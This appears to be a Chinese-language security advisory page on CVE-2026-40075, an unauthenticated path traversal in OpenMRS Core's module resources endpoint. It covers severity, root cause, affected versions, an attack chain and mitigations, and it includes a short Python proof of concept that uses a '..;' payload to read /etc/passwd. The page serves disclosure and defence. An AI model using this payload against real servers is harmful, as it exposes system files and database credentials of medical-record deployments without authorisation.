IPBUF安全漏洞报告
English
CVE-2026-40075 CVSS 7.5 高危

CVE-2026-40075 OpenMRS Core路径遍历漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-40075
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenMRS Core

相关标签

路径遍历OpenMRS任意文件读取Apache Tomcat

漏洞概述

OpenMRS Core是开源电子医疗记录系统平台。在受影响版本中,`/openmrs/moduleResources/{moduleid}`端点存在路径遍历漏洞。由于该端点用于提供渲染登录页面所需的静态资源,未受身份验证保护,攻击者无需认证即可利用该漏洞读取服务器上的任意文件,包括敏感配置和数据库凭证。成功利用该漏洞需要目标部署在特定旧版本的Apache Tomcat上。

技术细节

该漏洞源于`ModuleResourcesServlet`在处理用户请求时,直接将用户控制的输入拼接到文件系统绝对路径中,且未调用`normalize()`方法或进行路径边界验证。由于该Servlet负责提供登录页面的静态资源,因此绕过了身份验证过滤器,允许未授权访问。攻击者可通过发送特制的恶意请求,利用`..;`序列(在Tomcat 8.5.31之前未修复)绕过目录限制,遍历至服务器任意目录。最终导致攻击者能够读取敏感文件(如`/etc/passwd`、数据库配置文件等)。尽管较新版本的Tomcat在容器层面对此进行了缓解,但OpenMRS Core本身的代码缺陷仍存在。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标服务器运行的是OpenMRS Core系统,并判断其Apache Tomcat版本低于8.5.31。
STEP 2
2. 构造恶意请求
攻击者向`/openmrs/moduleResources/`端点发送包含路径遍历字符(如`..;`)的特制HTTP GET请求。
STEP 3
3. 漏洞利用
服务器端`ModuleResourcesServlet`未经净化处理直接拼接路径,允许跳出预期目录。
STEP 4
4. 数据泄露
应用程序读取并返回服务器文件系统中的敏感文件(如`/etc/passwd`或数据库配置)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-40075: Path Traversal in OpenMRS Core target_url = "http://target-host/openmrs/moduleResources/" # The payload uses the ..; bypass technique effective on Tomcat < 8.5.31 # This attempts to read /etc/passwd from the server filesystem. payload = "..;/../../etc/passwd" full_url = target_url + payload try: response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! File content retrieved:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

影响范围

OpenMRS Core <= 2.7.8
OpenMRS Core 2.8.0 - 2.8.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络边界(如WAF或反向代理)上拦截包含`..`或`..;`序列的请求。同时,检查并限制Web应用程序进程对操作系统敏感文件的读取权限,遵循最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表